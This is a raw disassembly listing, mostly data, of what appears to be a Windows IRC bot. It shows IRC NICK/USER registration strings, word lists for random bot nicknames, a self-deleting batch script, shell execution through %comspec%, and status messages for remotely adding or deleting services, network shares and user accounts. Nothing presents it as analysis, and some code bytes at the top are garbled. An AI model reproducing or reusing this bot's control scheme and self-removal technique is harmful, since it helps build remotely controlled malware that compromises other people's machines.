		lea	eax, [ebx+0]
		dec	eax
		lea	eax, [ebx+0]
		inc	eax
		lea	eax, [ebx+0]
		cmp	[ebp-72CFFFBDh], cl
		inc	ebx
		add	[eax], ch
		lea	eax, [ebx+0]
		sbb	al, 8Dh
		inc	ebx
		add	ds:8D0C0043h[ecx*4], dl
		inc	ebx
		add	[eax], cl
		lea	eax, [ebx+0]
		add	[ebp-6D0BFFBDh], cl
		inc	ebx
		add	al, dh
		retf	42h
; ---------------------------------------------------------------------------
		db  10h
		db  93h	; “
		db  43h	; C
		db    0
		db  88h	; ˆ
		db 0B1h	; ±
		db  42h	; B
		db    0
		db  0Ch
		db  93h	; “
		db  43h	; C
		db    0
		db    8
		db  93h	; “
		db  43h	; C
		db    0
		db    4
		db  93h	; “
		db  43h	; C
		db    0
		db  70h	; p
		db 0C6h	; Æ
		db  42h	; B
		db    0
		db  34h	; 4
		db 0B9h	; ¹
		db  42h	; B
		db    0
		db  7Ch	; |
		db 0B7h	; ·
		db  42h	; B
		db    0
		db 0ECh	; ì
		db 0CAh	; Ê
		db  42h	; B
		db    0
		dd offset dword_439300
		dd offset aM		; "m"
		dd offset aN		; "n"
		dd offset aO		; "o"
		dd offset aP		; "p"
		dd offset aQ		; "q"
		dd offset aRs		; "rs"
		dd offset aT		; "t"
		dd offset aU		; "u"
		dd offset aV		; "v"
		dd offset dword_439318
		dd offset dword_4392F8
		dd offset dword_439314
		dd offset dword_4392FC
		dd offset aHappy	; "happy"
		dd offset aRg		; "rg"
		dd offset aTy		; "ty"
		dd offset aGf		; "gf"
		dd offset aRt		; "rt"
		dd offset aSdf		; "sdf"
		dd offset aUi		; "ui"
		dd offset aLuvy		; "luvy"
		dd offset aTrimy	; "trimy"
		dd offset aTruck	; "truck"
		dd offset aMuckc	; "muckc"
		dd offset dword_4392FC
		dd offset dword_439308
		dd offset aS_0		; "s"
		dd offset aQ		; "q"
		dd offset off_438CB8
		dd offset aBbl		; "|bbl"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset a___0		; "_|_"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392C4
		dd offset aM_0		; "M"
		dd offset aLuvu		; "LUVU"
		dd offset aSad		; "Sad"
		dd offset aF_2		; "^^^f^"
		dd offset dword_4392F4
		dd offset byte_43DB88
		dd offset aSleeping	; "Sleeping"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset aFuck_0	; "Fuck"
		dd offset aFree		; "Free"
		dd offset byte_43DB88
		dd offset byte_43DB88
		dd offset dword_4392A8
		dd offset byte_43DB88
		dd offset off_438C78
		dd offset aGirl_0	; "GIRL"
		dd offset aGurl		; "gurl"
		dd offset aShit		; "shit"
		dd offset aAha		; "aha"
		dd offset aYeah		; "yeah"
		dd offset aMuha		; "muha"
		dd offset aMof0		; "mof0"
		dd offset aMofo		; "mofo"
		dd offset dword_438C38
		dd offset dword_438C34
		dd offset dword_438C2C
		dd offset dword_438C20
		dd offset dword_438C18
		dd offset dword_438C10
		dd offset dword_438C08
		dd offset dword_438C04
		dd offset dword_438C00
dword_438C00	dd 7536h		; DATA XREF: ___:00438BFCo
dword_438C04	dd 7535h		; DATA XREF: ___:00438BF8o
dword_438C08	dd 7C75347Ch, 0		; DATA XREF: ___:00438BF4o
dword_438C10	dd 6F79347Bh, 7D75h	; DATA XREF: ___:00438BF0o
dword_438C18	dd 7375347Ch, 7Ch	; DATA XREF: ___:00438BECo
dword_438C20	dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o
dword_438C2C	dd 6F6C6F6Ch, 7C617Ch	; DATA XREF: ___:00438BE4o
dword_438C34	dd 6C6F6Ch		; DATA XREF: ___:00438BE0o
dword_438C38	dd 746F74h		; DATA XREF: ___:00438BDCo
aMofo		db 'mofo',0             ; DATA XREF: ___:00438BD8o
		align 4
aMof0		db 'mof0',0             ; DATA XREF: ___:00438BD4o
		align 4
aMuha		db 'muha',0             ; DATA XREF: ___:00438BD0o
		align 4
aYeah		db 'yeah',0             ; DATA XREF: ___:00438BCCo
		align 4
aAha		db 'aha',0              ; DATA XREF: ___:00438BC8o
aShit		db 'shit',0             ; DATA XREF: ___:00438BC4o
		align 4
aGurl		db 'gurl',0             ; DATA XREF: ___:00438BC0o
		align 10h
aGirl_0		db 'GIRL',0             ; DATA XREF: ___:00438BBCo
		align 4
off_438C78	dd offset word_594F42	; DATA XREF: ___:00438BB8o
aFree		db 'Free',0             ; DATA XREF: ___:00438BA4o
		align 4
aFuck_0		db 'Fuck',0             ; DATA XREF: ___:00438BA0o
		align 4
aSleeping	db 'Sleeping',0         ; DATA XREF: ___:00438B94o
		align 4
aF_2		db '^^^f^',0            ; DATA XREF: ___:00438B88o
		align 10h
aSad		db 'Sad',0              ; DATA XREF: ___:00438B84o
aLuvu		db 'LUVU',0             ; DATA XREF: ___:00438B80o
		align 4
a___0		db '_|_',0              ; DATA XREF: ___:00438B64o
aBbl		db '|bbl',0             ; DATA XREF: ___:00438B58o
		align 4
off_438CB8	dd offset loc_425240+2	; DATA XREF: ___:00438B54o
aMuckc		db 'muckc',0            ; DATA XREF: ___:00438B40o
		align 4
aTruck		db 'truck',0            ; DATA XREF: ___:00438B3Co
		align 4
aTrimy		db 'trimy',0            ; DATA XREF: ___:00438B38o
		align 4
aLuvy		db 'luvy',0             ; DATA XREF: ___:00438B34o
		align 4
aUi		db 'ui',0               ; DATA XREF: ___:00438B30o
		align 10h
aSdf		db 'sdf',0              ; DATA XREF: ___:00438B2Co
aRt		db 'rt',0               ; DATA XREF: ___:00438B28o
		align 4
aGf		db 'gf',0               ; DATA XREF: ___:00438B24o
		align 4
aTy		db 'ty',0               ; DATA XREF: ___:00438B20o
		align 10h
aRg		db 'rg',0               ; DATA XREF: ___:00438B1Co
		align 4
aHappy		db 'happy',0            ; DATA XREF: ___:00438B18o
		align 4
aRs		db 'rs',0               ; DATA XREF: ___:00438AF8o
		align 10h
aQ8A		db '|q8|a',0
		align 4
aQ8		db 'Q8',0
		align 4
aSick		db 'sick}}',0
		align 4
aWiked		db '|wiked|',0
aLuvuF		db '||luvu-f|',0
		align 4
aGens		db '{gens|',0
		align 10h
aSex_0		db '{sex}',0
		align 4
aHub		db '{hub}',0
		align 10h
aLuck		db '|luck|',0
		align 4
aSuck		db '|suck|',0
		align 10h
aTot		db '-|tot|',0
		align 4
aWoh		db '|woh|',0
		align 10h
aTambe		db '|tambe|',0
aLag		db 'lag',0
aBad		db 'bad',0              ; DATA XREF: ___:00438A78o
aTree		db 'tree',0             ; DATA XREF: ___:00438A74o
		align 4
aZex		db 'zex',0              ; DATA XREF: ___:00438A70o
aLez		db 'lez',0              ; DATA XREF: ___:00438A6Co
aWantedlove	db 'WANTEDLOVE',0       ; DATA XREF: ___:00438A64o
		align 4
aCumhur29	db 'cumhur29',0         ; DATA XREF: ___:00438A60o
		align 4
aAdamm		db 'ADAMM',0            ; DATA XREF: ___:00438A5Co
		align 10h
aMaveRIck	db 'MaVe{R}icK',0       ; DATA XREF: ___:00438A58o
		align 4
aPrometheus	db 'prometheus',0       ; DATA XREF: ___:00438A54o
		align 4
aDallas43m	db 'DALLAS43M',0        ; DATA XREF: ___:00438A50o
		align 4
aTeoman		db 'TEOMAN```',0        ; DATA XREF: ___:00438A4Co
		align 10h
aRerpjj		db 'RERPJJ',0           ; DATA XREF: ___:00438A48o
		align 4
aCem39		db 'cem39',0            ; DATA XREF: ___:00438A44o
		align 10h
aCool30m	db 'cool30m',0          ; DATA XREF: ___:00438A40o
aTropikal	db 'tropikal',0         ; DATA XREF: ___:00438A3Co
		align 4
aPassenger	db 'passenger',0        ; DATA XREF: ___:00438A38o
		align 10h
aNeHaber	db 'NE-HABER',0         ; DATA XREF: ___:00438A34o
		align 4
aUla		db 'ula',0              ; DATA XREF: ___:00438A30o
aIzmirlm	db 'izmirlm',0          ; DATA XREF: ___:00438A2Co
aAkden		db 'akden',0            ; DATA XREF: ___:00438A28o
		align 10h
aKoray		db 'KORAY',0            ; DATA XREF: ___:00438A24o
		align 4
aAta29		db 'Ata29',0            ; DATA XREF: ___:00438A20o
		align 10h
aFirtina	db 'firtina',0          ; DATA XREF: ___:00438A1Co
aAdamm33	db 'AdAMM33',0          ; DATA XREF: ___:00438A18o
aM41ist		db 'M41IST',0           ; DATA XREF: ___:00438A14o
		align 4
aMaxsilla	db 'maxsilla',0         ; DATA XREF: ___:00438A10o
		align 4
aAdem28		db 'Adem28',0           ; DATA XREF: ___:00438A0Co
		align 4
aAnkm		db 'ankM',0             ; DATA XREF: ___:00438A08o
		align 4
aErkan		db 'erkan',0            ; DATA XREF: ___:00438A04o
		align 4
aDevre		db 'devre',0            ; DATA XREF: ___:00438A00o
		align 4
aYabanc		db 'yabanc',0           ; DATA XREF: ___:004389FCo
		align 4
aBirsen		db 'birsen',0           ; DATA XREF: ___:004389F8o
		align 4
aA44m		db 'a44m',0             ; DATA XREF: ___:004389F4o
		align 4
aAlcatras	db 'alcatras',0         ; DATA XREF: ___:004389F0o
		align 4
off_438E98	dd offset byte_4B5245	; DATA XREF: ___:004389ECo
aSevda		db 'sevda',0            ; DATA XREF: ___:004389E8o
		align 4
aKotan		db 'kotan',0            ; DATA XREF: ___:004389E4o
		align 4
aTegmen		db 'TEGMEN',0           ; DATA XREF: ___:004389E0o
		align 4
aAchilles	db 'Achilles',0         ; DATA XREF: ___:004389DCo
		align 10h
aKapk		db 'kapk',0             ; DATA XREF: ___:004389D8o
		align 4
aAngelgirl	db 'angelgirl',0        ; DATA XREF: ___:004389D4o
		align 4
aHayran		db 'hayran',0           ; DATA XREF: ___:004389D0o
		align 4
aFenerlee	db 'FeNeRLee',0         ; DATA XREF: ___:004389CCo
		align 4
aAnkar		db 'Ankar',0            ; DATA XREF: ___:004389C8o
		align 10h
aDjspace	db 'DJSPACE',0          ; DATA XREF: ___:004389C4o
aAnk32M		db 'ANK-32-M',0         ; DATA XREF: ___:004389C0o
		align 4
aUmut		db 'umut-',0            ; DATA XREF: ___:004389BCo
		align 4
aAdalim		db 'ADALIM',0           ; DATA XREF: ___:004389B8o
		align 4
aKumul		db 'kumul',0            ; DATA XREF: ___:004389B4o
		align 4
aUzgun36	db 'uzgun36',0          ; DATA XREF: ___:004389B0o
aSugarboy	db 'SUGARBOY-',0        ; DATA XREF: ___:004389ACo
		align 10h
aSeviseli	db 'SeViSeLi',0         ; DATA XREF: ___:004389A8o
		align 4
aKashmira	db 'Kashmira',0         ; DATA XREF: ___:004389A4o
		align 4
aAykut1		db 'aykut1',0           ; DATA XREF: ___:004389A0o
		align 10h
aSadikaellesme	db 'SaDIkaEllesme',0    ; DATA XREF: ___:0043899Co
		align 10h
aMahinur	db 'MAHINUR',0          ; DATA XREF: ___:00438998o
aHoly		db 'holy',0             ; DATA XREF: ___:00438994o
		align 10h
aFlord		db 'FLoRD',0            ; DATA XREF: ___:00438990o
		align 4
aKebikec	db 'kebikec',0          ; DATA XREF: ___:0043898Co
aEsmerkiz	db 'Esmerkiz',0         ; DATA XREF: ___:00438988o
		align 4
aElmaazyok	db 'elmaazyok',0        ; DATA XREF: ___:00438984o
		align 4
aEmre		db 'Emre--',0           ; DATA XREF: ___:00438980o
		align 10h
aRamtha		db 'RAMTHA',0           ; DATA XREF: ___:0043897Co
		align 4
aImirzali	db 'IMIRZALI--',0       ; DATA XREF: ___:00438978o
		align 4
aHakan3		db 'hakan3',0           ; DATA XREF: ___:00438974o
		align 4
aMurat34M	db 'murat34-m',0        ; DATA XREF: ___:00438970o
		align 4
aKeyiflisert	db 'keyifliSERT',0      ; DATA XREF: ___:0043896Co
aArda		db 'arda',0             ; DATA XREF: ___:00438968o
		align 4
aDevran		db 'devran',0           ; DATA XREF: ___:00438964o
		align 4
aBerk19m	db 'Berk19m',0          ; DATA XREF: ___:00438960o
aDenizlim	db 'DenizliM',0         ; DATA XREF: ___:0043895Co
		align 4
aCongueror	db 'CoNGuERoR',0        ; DATA XREF: ___:00438958o
		align 4
aAlpay34m	db 'alpay34m',0         ; DATA XREF: ___:00438954o
		align 10h
aBogac		db 'bogac',0            ; DATA XREF: ___:00438950o
		align 4
aDonjuanm	db 'Donjuanm',0         ; DATA XREF: ___:0043894Co
		align 4
aAnkh		db 'ankh',0             ; DATA XREF: ___:00438948o
		align 4
off_43902C	dd offset byte_457441	; DATA XREF: ___:00438944o
dword_439030	dd 414C5941h, 2Dh	; DATA XREF: ___:00438940o
aAlbina		db 'albina',0           ; DATA XREF: ___:0043893Co
		align 10h
aIzmir39m	db 'Izmir39m',0         ; DATA XREF: ___:00438938o
		align 4
aZack		db 'ZACK',0             ; DATA XREF: ___:00438934o
		align 4
aAnk32m		db 'ank32m',0           ; DATA XREF: ___:00438930o
		align 4
aTurkyy		db 'turkyy',0           ; DATA XREF: ___:0043892Co
		align 4
aAhmet		db 'ahmet',0            ; DATA XREF: ___:00438928o
		align 4
aPelincik	db 'pelincik',0         ; DATA XREF: ___:00438924o
		align 4
aBlackpearl	db 'blackpearl',0       ; DATA XREF: ___:00438920o
		align 4
aRetg		db 'RETG',0             ; DATA XREF: ___:0043891Co
		align 4
aSamyeli21	db 'samyeli21',0        ; DATA XREF: ___:00438918o
		align 4
aPiramit	db 'PIRAMIT',0          ; DATA XREF: ___:00438914o
aAslii		db 'aslii',0            ; DATA XREF: ___:00438910o
		align 4
aErnesto	db 'ERNESTO',0          ; DATA XREF: ___:0043890Co
aHaticem	db 'haticem',0          ; DATA XREF: ___:00438908o
aArzu		db 'ARZU',0             ; DATA XREF: ___:00438904o
		align 10h
aSudenur	db 'SUDENUR',0          ; DATA XREF: ___:00438900o
aSevmekmi	db 'sevmekmi',0         ; DATA XREF: ___:004388FCo
		align 4
aVenedik34	db 'venedik34',0        ; DATA XREF: ___:004388F8o
		align 10h
aTekir		db 'tekir',0            ; DATA XREF: ___:004388F4o
		align 4
aMERVE		db 'M-E-R-V-E',0        ; DATA XREF: ___:004388F0o
		align 4
aTrend3		db 'trend3',0           ; DATA XREF: ___:004388ECo
		align 4
aMelekk		db 'melekk',0           ; DATA XREF: ___:004388E8o
		align 4
aAkin		db 'AKIN',0             ; DATA XREF: ___:004388E4o
		align 4
aMary_0		db 'MARY',0             ; DATA XREF: ___:004388E0o
		align 4
aJericho	db 'JERICHO',0          ; DATA XREF: ___:004388DCo
aTolga34	db 'Tolga34',0          ; DATA XREF: ___:004388D8o
aMisssunday	db 'misssunday',0       ; DATA XREF: ___:004388D4o
		align 10h
aIrmal		db 'irmal',0            ; DATA XREF: ___:004388D0o
		align 4
aObenibisevse	db 'OBeNiBiSeVSe',0     ; DATA XREF: ___:004388CCo
		align 4
aBerk19		db 'berk19',0           ; DATA XREF: ___:004388C8o
		align 10h
aHexaaa		db 'hexaaa',0           ; DATA XREF: ___:004388C4o
		align 4
aErkan27	db 'erkan27',0          ; DATA XREF: ___:004388C0o
aKaan38dent	db 'kaan38dent',0       ; DATA XREF: ___:004388BCo
		align 4
aCansuuuu	db 'cansuuuu',0         ; DATA XREF: ___:004388B8o
		align 4
aThr45h3r5	db 'THR45H3R5',0        ; DATA XREF: ___:004388B4o
		align 4
aKencing	db 'Kencing',0          ; DATA XREF: ___:004388B0o
aReshma		db 'reshma',0           ; DATA XREF: ___:004388ACo
		align 4
aCamel		db 'CAMEL',0            ; DATA XREF: ___:004388A8o
		align 4
aGirl		db 'GirL',0             ; DATA XREF: ___:004388A4o
		align 4
aImra		db 'imra',0             ; DATA XREF: ___:004388A0o
		align 4
aCoredump	db 'CoreDump',0         ; DATA XREF: ___:0043889Co
		align 4
aPuregold	db 'puregold',0         ; DATA XREF: ___:00438898o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00438894o
		align 4
aManee		db 'manee',0            ; DATA XREF: ___:00438890o
		align 4
aTroller	db 'troller',0          ; DATA XREF: ___:0043888Co
aLuisa		db 'Luisa',0            ; DATA XREF: ___:00438888o
		align 4
aNastysha	db 'nastysha',0         ; DATA XREF: ___:00438884o
		align 10h
aRimpy		db 'rimpy',0            ; DATA XREF: ___:00438880o
		align 4
aJanno		db 'janno',0            ; DATA XREF: ___:0043887Co
		align 10h
aBunty		db 'bunty',0            ; DATA XREF: ___:00438878o
		align 4
aHeval		db 'heval',0            ; DATA XREF: ___:00438874o
		align 10h
aCme		db 'cme',0              ; DATA XREF: ___:00438870o
aMarcy		db 'marcy',0            ; DATA XREF: ___:0043886Co
		align 4
aTalika		db 'talika',0           ; DATA XREF: ___:00438868o
		align 4
aShez		db 'Shez',0             ; DATA XREF: ___:00438864o
		align 4
aKen		db 'ken',0              ; DATA XREF: ___:00438860o
aFlexster	db 'flexster',0         ; DATA XREF: ___:0043885Co
		align 4
aKoko		db 'koko',0             ; DATA XREF: ___:00438858o
		align 4
aMale		db 'male',0             ; DATA XREF: ___:00438854o
		align 4
aSwin		db 'swin',0             ; DATA XREF: ___:00438850o
		align 4
aCar1nna	db 'Car1nna',0          ; DATA XREF: ___:0043884Co
aKrizha		db 'KRIZHA',0           ; DATA XREF: ___:00438848o
		align 4
aEmilya		db 'emilya',0           ; DATA XREF: ___:00438844o
		align 4
aBobmarley	db 'BOBMARLEY',0        ; DATA XREF: ___:00438840o
		align 4
aMaxxguy	db 'maxxguy',0          ; DATA XREF: ___:0043883Co
aFarooq		db 'farooq',0           ; DATA XREF: ___:00438838o
		align 4
aSmartmir	db 'SMARTMIR',0         ; DATA XREF: ___:00438834o
		align 4
aM_0:					; DATA XREF: ___:00438830o
					; ___:00438B7Co
		unicode	0, <M>,0
word_439298	dw 4Eh			; DATA XREF: sub_41A3C6+38r
					; ___:0043882Co
		align 4
dword_43929C	dd 42h			; DATA XREF: ___:00438828o
dword_4392A0	dd 56h			; DATA XREF: ___:00438824o
dword_4392A4	dd 43h			; DATA XREF: ___:00438820o
dword_4392A8	dd 58h			; DATA XREF: ___:0043881Co
					; ___:00438BB0o
dword_4392AC	dd 5Ah			; DATA XREF: ___:00438818o
dword_4392B0	dd 4Ch			; DATA XREF: ___:00438814o
dword_4392B4	dd 4Bh			; DATA XREF: ___:00438810o
dword_4392B8	dd 4Ah			; DATA XREF: ___:0043880Co
dword_4392BC	dd 48h			; DATA XREF: ___:00438808o
dword_4392C0	dd 47h			; DATA XREF: ___:00438804o
dword_4392C4	dd 46h			; DATA XREF: ___:00438800o
					; ___:00438B78o
dword_4392C8	dd 44h			; DATA XREF: ___:004387FCo
dword_4392CC	dd 53h			; DATA XREF: ___:004387F8o
dword_4392D0	dd 50h			; DATA XREF: ___:004387F0o
dword_4392D4	dd 4Fh			; DATA XREF: ___:004387ECo
dword_4392D8	dd 55h			; DATA XREF: ___:004387E4o
word_4392DC	dw 59h			; DATA XREF: sub_41A6EA+38r
					; ___:004387E0o
		align 10h
dword_4392E0	dd 54h			; DATA XREF: ___:004387DCo
dword_4392E4	dd 52h			; DATA XREF: ___:004387D8o
dword_4392E8	dd 45h			; DATA XREF: ___:004387D4o
dword_4392EC	dd 57h			; DATA XREF: ___:004387D0o
dword_4392F0	dd 51h			; DATA XREF: ___:004387CCo
dword_4392F4	dd 62h			; DATA XREF: ___:004387C0o
					; ___:00438B8Co
dword_4392F8	dd 78h			; DATA XREF: ___:00438B0Co
dword_4392FC	dd 7Ah			; DATA XREF: ___:00438B14o
					; ___:00438B44o
dword_439300	dd 6Ch,	68h		; DATA XREF: ___:004387ACo
					; ___:00438AE0o
dword_439308	dd 67h,	66h, 64h	; DATA XREF: ___:00438B48o
dword_439314	dd 79h			; DATA XREF: ___:00438B10o
dword_439318	dd 77h			; DATA XREF: ___:00438B08o
dword_43931C	dd 4B43494Eh, 0A732520h, 0 ; DATA XREF:	sub_417B76+B1o
dword_439328	dd 323334h		; DATA XREF: sub_417B76+79o
dword_43932C	dd 474E4F50h, 0A732520h, 0 ; DATA XREF:	sub_417B76+61o
aNickSUserSHotm	db 'NICK %s',0Ah        ; DATA XREF: sub_417C61+9Bo
		db 'USER %s "hotmail.com" "127.0.0.1" :%s',0Ah,0
		align 4
a__0		db '-|`_\{[]}',0        ; DATA XREF: sub_417E84+BCo
					; sub_417E84+175r ...
		align 4
dword_439374	dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 ; DATA XREF: sub_4182CD+A4o
		dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
		dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_4393C0	dd 3000005h, 10h, 18h, 1, 3 dup(0) ; DATA XREF:	sub_4182CD+E3o
; ---------------------------------------------------------------------------


loc_4393DC:				; DATA XREF: sub_4182CD+118o
		mov	al, 1
		push	edx
		xchg	eax, edi
		retf	0D059h
; ---------------------------------------------------------------------------
		db 11h
		dd 0A000D5A8h, 51800DC9h, 0
dword_4393F0	dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0
					; DATA XREF: sub_4182CD+13Fo
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_418699+72o
		align 4
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: sub_4187E0+1Co
		align 4
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_418884+2o
aComspecCSS	db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_4188A6+140o
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_4188A6+85o
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0        ; DATA XREF: sub_4188A6+48o
		align 4
unk_4394A4	db  2Dh	; -		; DATA XREF: sub_418A2E+9Co
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aOperatingSyste	db '- operating system is not supported',0
		align 4
unk_4394D4	db  2Dh	; -		; DATA XREF: sub_418A2E+8Fo
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedWithErro	db '- failed with error code %d',0
		align 4
dword_4394FC	dd 234032Dh, 2676F6Ch, 25202D03h, 6F6C2073h, 6C632067h
					; DATA XREF: sub_418A2E+5Co
		dd 65726165h, 64h
off_439518	dd offset aAdd		; DATA XREF: sub_418C0E+60r
					; sub_418FE5+51r ...
					; "Add"
off_43951C	dd offset aAdded	; DATA XREF: sub_418C0E+2Dr
					; sub_418FE5+83r ...
					; "Added"
dword_439520	dd 0			; DATA XREF: sub_418C0E+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_1	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 43958Ch, 439584h,	2, 439578h, 43956Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: ___:0043954Co
aStop_0		db 'Stop',0             ; DATA XREF: ___:00439548o
		align 4
aStarted	db 'Started',0          ; DATA XREF: ___:00439540o
aStart_0	db 'Start',0            ; DATA XREF: ___:0043953Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: ___:00439534o
		align 4
aList_1		db 'List',0             ; DATA XREF: ___:00439530o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: ___:00439528o
aDelete_0	db 'Delete',0           ; DATA XREF: ___:00439524o
		align 4
aAdded		db 'Added',0            ; DATA XREF: ___:off_43951Co
		align 4
aAdd		db 'Add',0              ; DATA XREF: ___:off_439518o
unk_4395E0	db  2Dh	; -		; DATA XREF: sub_418C0E+67o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoServiceSpec	db '- %s: no service specified',0
unk_439604	db  2Dh	; -		; DATA XREF: sub_418C0E+51o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aErrorWithServi	db '- error with service: ',27h,'%s',27h,' - %s',0
		align 10h
unk_439630	db  2Dh	; -		; DATA XREF: sub_418C0E+33o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSServiceS	db '- %s service: ',27h,'%s',27h,0
aAnUnknownError	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_418D2A+12Co
		align 10h
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_418D2A:loc_418E42o
		align 10h
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_418D2A:loc_418E3Bo
		align 4
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_418D2A:loc_418E34o
		db 'the state of the service.',0
		align 10h
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_418D2A:loc_418E2Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_418D2A:loc_418E26o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E1Fo
		align 10h
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_418D2A:loc_418E18o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_418D2A:loc_418E11o
		align 4
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_418D2A:loc_418E0Ao
		db 'marked for deletion.',0
		align 4
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_418D2A:loc_418E03o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_418D2A:loc_418DD8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_418D2A:loc_418DD1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_418D2A:loc_418DCAo
		db 'tServiceCtrlDispatcher.',0
		align 10h
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_418D2A:loc_418DC3o
		align 10h
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_418D2A+8Fo
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_418D2A:loc_418D98o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_418D2A:loc_418D8Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_418D2A:loc_418D84o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_418D2A:loc_418D7Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_418D2A:loc_418D70o
		align 10h
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_418D2A+3Co
		align 4
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_418EA8+EBo
aStopped	db '    Stopped',0      ; DATA XREF: sub_418EA8:loc_418F74o
aStarting	db '   Starting',0      ; DATA XREF: sub_418EA8:loc_418F6Do
aStoping	db '    Stoping',0      ; DATA XREF: sub_418EA8:loc_418F66o
aRunning	db '    Running',0      ; DATA XREF: sub_418EA8:loc_418F5Fo
aContinuing	db ' Continuing',0      ; DATA XREF: sub_418EA8:loc_418F58o
aPausing	db '    Pausing',0      ; DATA XREF: sub_418EA8:loc_418F51o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_418EA8:loc_418F4Ao
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_418EA8+9Bo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_418EA8+25o
		align 4
unk_439B84	db  2Dh	; -		; DATA XREF: sub_418FE5+ACo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoShareSpecif	db '- %s: no share specified',0
		align 4
dword_439BA8	dd 234032Dh, 274656Eh, 25202D03h, 68732073h, 3A657261h
					; DATA XREF: sub_418FE5+8Ao
		dd 73252720h, 27h
unk_439BC4	db  2Dh	; -		; DATA XREF: sub_418FE5+58o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithShar	db '- %s: error with share: ',27h,'%s',27h,' - %s',0
		align 10h
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_4191DB+D0o
		align 4
aNo		db 'No',0               ; DATA XREF: sub_4191DB+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_4191DB+B5o
unk_439C10	db  2Dh	; -		; DATA XREF: sub_4191DB+76o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aShareListError	db '- share list error %s <%ld>',0
		align 4
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_4191DB+26o
		align 10h
unk_439C70	db  2Dh	; -		; DATA XREF: sub_4192FC+B7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSNoUsernameSpe	db '- %s: no username specified',0
		align 4
unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
